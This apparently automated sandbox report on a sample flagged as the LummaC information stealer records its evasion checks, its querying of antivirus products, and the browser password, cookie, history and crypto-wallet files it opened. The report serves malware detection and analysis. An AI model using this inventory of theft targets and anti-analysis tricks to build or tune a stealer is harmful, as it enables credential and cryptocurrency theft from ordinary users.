Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2239268803.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579497100.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240546025.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446364692.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000B55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2165412620.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240259411.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2189860535.0000000005385000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578846156.0000000000278000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2582742277.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05D5DFD9 rdtsc

0_2_05D5DFD9

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2578846156.0000000000278000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Program Manager
Source: file.exe, file.exe, 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: $WProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1596, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2239268803.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: file.exe, 00000000.00000003.2239268803.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000000.00000003.2239268803.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2165412620.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyv
Source: file.exe, 00000000.00000003.2165412620.0000000000B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.2240607679.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2239268803.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.2237871217.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2237871217.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
